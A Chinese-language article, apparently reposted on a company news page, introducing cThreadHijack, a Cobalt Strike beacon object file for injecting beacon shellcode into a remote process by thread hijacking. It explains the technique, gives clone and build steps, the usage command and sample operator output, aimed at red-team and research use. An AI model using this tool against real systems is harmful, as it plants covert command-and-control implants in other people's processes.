新聞中心
關(guān)于cThreadHijack
cThreadHijack是一個(gè)針對(duì)遠(yuǎn)程進(jìn)程注入信標(biāo)對(duì)象文件(BOF),該工具主要通過(guò)線程劫持技術(shù)實(shí)現(xiàn)其功能,并且不會(huì)生成任何遠(yuǎn)程線程。

運(yùn)行機(jī)制
cThreadHijack可以根據(jù)用戶提供的監(jiān)聽(tīng)器參數(shù)來(lái)生成原始信標(biāo)Shellcode,并根據(jù)用戶提供的PID參數(shù)將其注入至遠(yuǎn)程進(jìn)程中,這一步主要利用的是VirtualAllocEx和WriteProcessMemory方法。
接下來(lái),cThreadHijack并不會(huì)通過(guò)CreateRemoteThread或其他API生成一個(gè)新的遠(yuǎn)程線程,而是識(shí)別目標(biāo)進(jìn)程中的第一個(gè)線程,掛起目標(biāo)線程之后,它便會(huì)通過(guò)一個(gè)CONTEXT結(jié)構(gòu)體來(lái)獲取線程CPU狀態(tài)的內(nèi)容。接下來(lái),它會(huì)修改CONTEXT結(jié)構(gòu)體中RIP寄存器成員的地址,并將其指向遠(yuǎn)程Payload。
在執(zhí)行之前,cThreadHijack會(huì)將一個(gè)封裝了信標(biāo)Shellcode的程序添加至一個(gè)針對(duì)CreateThread的調(diào)用方法中。CreateThread程序封裝在一個(gè)名叫NtContinue的函數(shù)調(diào)用程序,可以允許之前被劫持的線程在不導(dǎo)致遠(yuǎn)程進(jìn)程崩潰的前提下恢復(fù)運(yùn)行。cThreadHijack的信標(biāo)Payload在生成時(shí)會(huì)帶有一個(gè)“線程退出函數(shù)”,以允許進(jìn)程在信標(biāo)退出之后繼續(xù)執(zhí)行。
信標(biāo)監(jiān)聽(tīng)器的名稱如果包含空格的話,必須放在引號(hào)中。
工具下載
廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:
- git clone https://github.com/connormcgarr/cThreadHijack.git
項(xiàng)目構(gòu)建
首先,在一臺(tái)Windows虛擬機(jī)上,點(diǎn)擊Win鍵,輸入“x64 Native Tools”打開(kāi)“x64 Native Tools Command Prompt for VS”對(duì)話框。
接下來(lái),將目錄修改為“C:\path\to\cThreadHijack”。
然后運(yùn)行下列命令:
- nmake -f Makefile.msvc build
最后,通過(guò)Cobalt Strike的“Script Console”以及參數(shù)“l(fā)oad /path/to/cThreadHijack.cna”來(lái)加載cThreadHijack.cna。
工具使用
- cThreadHijack PID LISTENER_NAME
運(yùn)行結(jié)果樣例如下:
- beacon> cThreadHijack 7340 TESTING
- [+] host called home, sent: 268433 bytes
- [+] received output:
- [+] Target process PID: 7340
- [+] received output:
- [+] Opened a handle to PID 7340
- [+] received output:
- [+] Found a thread in the target process! Thread ID: 10212
- [+] received output:
- [+] Suspending the targeted thread...
- [+] received output:
- [+] Wrote Beacon shellcode to the remote process!
- [+] received output:
- [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process!
- [+] received output:
- [+] Size of NtContinue routine: 64 bytes
- [+] Size of CONTEXT structure: 1232 bytes
- [+] Size of stack alignment routine: 4
- [+] Size of CreateThread routine: 64
- [+] Size of shellcode: 261632 bytes
- [+] received output:
- [+] Wrote payload to buffer to previously allocated buffer inside of!
- [+] received output:
- [+] Current RIP: 0x7ffa55df69a4
- [+] received output:
- [+] Successfully pointed the target thread's RIP register to the shellcode!
- [+] received output:
- [+] Current RIP: 0x201f4ab0000
- [+] received output:
- [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute...
項(xiàng)目地址
cThreadHijack:【GitHub傳送門(mén)】
本文標(biāo)題:如何使用cThreadHijack實(shí)現(xiàn)遠(yuǎn)程進(jìn)程注入研究
分享鏈接:http://www.5511xx.com/article/cccpoph.html


咨詢
建站咨詢
